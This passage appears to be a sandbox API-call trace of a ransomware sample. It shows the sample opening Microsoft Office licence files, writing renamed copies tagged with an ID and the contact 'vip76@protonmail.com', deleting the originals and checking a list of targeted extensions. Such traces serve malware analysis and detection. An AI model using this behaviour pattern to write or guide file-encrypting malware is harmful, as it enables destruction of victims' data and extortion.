	[0196.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.640] lstrlenW (lpString=".1cd") returned 4
	[0196.640] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0196.641] lstrlenW (lpString=".jpg") returned 4
	[0196.641] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.641] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.641] lstrlenW (lpString="HomeStudentR_Grace-ul-oob.xrm-ms") returned 32
	[0196.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0196.642] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11619) returned 1
	[0196.642] CloseHandle (hObject=0x5d8) returned 1
	[0196.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220
	[0196.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0196.642] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.642] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0196.643] GetLastError () returned 0x0
	[0196.643] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d63, lpOverlapped=0x0) returned 1
	[0196.685] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0196.686] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.686] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x114, lpOverlapped=0x0) returned 1
	[0196.686] SetEndOfFile (hFile=0x368) returned 1
	[0196.686] CloseHandle (hObject=0x368) returned 1
	[0196.686] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.686] SetEndOfFile (hFile=0x5d8) returned 1
	[0196.699] CloseHandle (hObject=0x5d8) returned 1
	[0196.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1
	[0196.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.702] lstrlenW (lpString=".doc") returned 4
	[0196.702] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.702] lstrlenW (lpString=".docx") returned 5
	[0196.702] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.702] lstrlenW (lpString=".pdf") returned 4
	[0196.702] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.702] lstrlenW (lpString=".xls") returned 4
	[0196.702] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.702] lstrlenW (lpString=".xlsx") returned 5
	[0196.702] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.702] lstrlenW (lpString=".ppt") returned 4
	[0196.702] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.702] lstrlenW (lpString=".zip") returned 4
	[0196.702] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.702] lstrlenW (lpString=".rar") returned 4
	[0196.702] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.702] lstrlenW (lpString=".bz2") returned 4
	[0196.702] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.702] lstrlenW (lpString=".7z") returned 3
	[0196.702] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.702] lstrlenW (lpString=".dbf") returned 4
	[0196.702] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.702] lstrlenW (lpString=".1cd") returned 4
	[0196.702] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.703] lstrlenW (lpString=".jpg") returned 4
	[0196.703] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.703] lstrlenW (lpString=".doc") returned 4
	[0196.703] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.703] lstrlenW (lpString=".docx") returned 5
	[0196.703] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.703] lstrlenW (lpString=".pdf") returned 4
	[0196.703] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.703] lstrlenW (lpString=".xls") returned 4
	[0196.703] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.703] lstrlenW (lpString=".xlsx") returned 5
	[0196.703] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.703] lstrlenW (lpString=".ppt") returned 4
	[0196.703] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.703] lstrlenW (lpString=".zip") returned 4
	[0196.703] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.703] lstrlenW (lpString=".rar") returned 4
	[0196.703] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.703] lstrlenW (lpString=".bz2") returned 4
	[0196.703] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.703] lstrlenW (lpString=".7z") returned 3
	[0196.703] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.703] lstrlenW (lpString=".dbf") returned 4
	[0196.703] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.703] lstrlenW (lpString=".1cd") returned 4
	[0196.703] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82
	[0196.704] lstrlenW (lpString=".jpg") returned 4
	[0196.704] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.704] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.704] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 35
	[0196.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0196.705] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11612) returned 1
	[0196.705] CloseHandle (hObject=0x5d8) returned 1
	[0196.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0196.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0196.706] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.706] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0196.707] GetLastError () returned 0x0
	[0196.707] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d5c, lpOverlapped=0x0) returned 1
	[0197.057] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0197.058] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.058] WriteFile (in: hFile=0x368, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0197.058] SetEndOfFile (hFile=0x368) returned 1
	[0197.156] CloseHandle (hObject=0x368) returned 1
	[0197.505] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.505] SetEndOfFile (hFile=0x5d8) returned 1
	[0197.508] CloseHandle (hObject=0x5d8) returned 1
	[0197.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0197.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.509] lstrlenW (lpString=".doc") returned 4
	[0197.510] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.510] lstrlenW (lpString=".docx") returned 5
	[0197.510] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.510] lstrlenW (lpString=".pdf") returned 4
	[0197.510] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.510] lstrlenW (lpString=".xls") returned 4
	[0197.510] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.510] lstrlenW (lpString=".xlsx") returned 5
	[0197.510] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.510] lstrlenW (lpString=".ppt") returned 4
	[0197.510] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.510] lstrlenW (lpString=".zip") returned 4
	[0197.510] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.510] lstrlenW (lpString=".rar") returned 4
	[0197.510] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.510] lstrlenW (lpString=".bz2") returned 4
	[0197.510] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.510] lstrlenW (lpString=".7z") returned 3
	[0197.510] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.510] lstrlenW (lpString=".dbf") returned 4
	[0197.510] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.510] lstrlenW (lpString=".1cd") returned 4
	[0197.510] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.510] lstrlenW (lpString=".jpg") returned 4
	[0197.510] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.510] lstrlenW (lpString=".doc") returned 4
	[0197.511] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.511] lstrlenW (lpString=".docx") returned 5
	[0197.511] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.511] lstrlenW (lpString=".pdf") returned 4
	[0197.511] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.511] lstrlenW (lpString=".xls") returned 4
	[0197.511] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.511] lstrlenW (lpString=".xlsx") returned 5
	[0197.511] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.511] lstrlenW (lpString=".ppt") returned 4
	[0197.511] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.511] lstrlenW (lpString=".zip") returned 4
	[0197.511] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.511] lstrlenW (lpString=".rar") returned 4
	[0197.511] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.511] lstrlenW (lpString=".bz2") returned 4
	[0197.511] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.511] lstrlenW (lpString=".7z") returned 3
	[0197.511] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.511] lstrlenW (lpString=".dbf") returned 4
	[0197.511] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.511] lstrlenW (lpString=".1cd") returned 4
	[0197.511] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0197.511] lstrlenW (lpString=".jpg") returned 4
	[0197.511] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.512] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0197.512] lstrlenW (lpString="HomeStudentR_Trial-ppd.xrm-ms") returned 29
	[0197.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0197.512] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=21727) returned 1
	[0197.512] CloseHandle (hObject=0x5d8) returned 1
	[0197.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220
	[0197.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0197.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0197.513] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.513] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0197.514] GetLastError () returned 0x0
	[0197.514] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x54df, lpOverlapped=0x0) returned 1
	[0197.517] WriteFile (in: hFile=0x574, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x54e0, lpOverlapped=0x0) returned 1
	[0197.518] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.518] WriteFile (in: hFile=0x574, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0197.518] SetEndOfFile (hFile=0x574) returned 1
	[0197.518] CloseHandle (hObject=0x574) returned 1
	[0197.518] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.518] SetEndOfFile (hFile=0x5d8) returned 1
	[0197.522] CloseHandle (hObject=0x5d8) returned 1
	[0197.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 1
	[0197.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.523] lstrlenW (lpString=".doc") returned 4
	[0197.523] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.523] lstrlenW (lpString=".docx") returned 5
	[0197.523] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.523] lstrlenW (lpString=".pdf") returned 4
	[0197.523] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.523] lstrlenW (lpString=".xls") returned 4
	[0197.524] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0197.524] lstrlenW (lpString=".xlsx") returned 5
	[0197.524] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0197.524] lstrlenW (lpString=".ppt") returned 4
	[0197.524] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0197.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.524] lstrlenW (lpString=".zip") returned 4
	[0197.524] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0197.524] lstrlenW (lpString=".rar") returned 4
	[0197.524] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0197.524] lstrlenW (lpString=".bz2") returned 4
	[0197.524] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0197.524] lstrlenW (lpString=".7z") returned 3
	[0197.524] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0197.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.524] lstrlenW (lpString=".dbf") returned 4
	[0197.524] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0197.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.524] lstrlenW (lpString=".1cd") returned 4
	[0197.524] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0197.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.524] lstrlenW (lpString=".jpg") returned 4
	[0197.524] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0197.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0197.524] lstrlenW (lpString=".doc") returned 4
	[0197.524] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0197.524] lstrlenW (lpString=".docx") returned 5
	[0197.524] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0197.524] lstrlenW (lpString=".pdf") returned 4
	[0197.524] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0197.524] lstrlenW (lpString=".xls") returned 4
	[0197.525] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
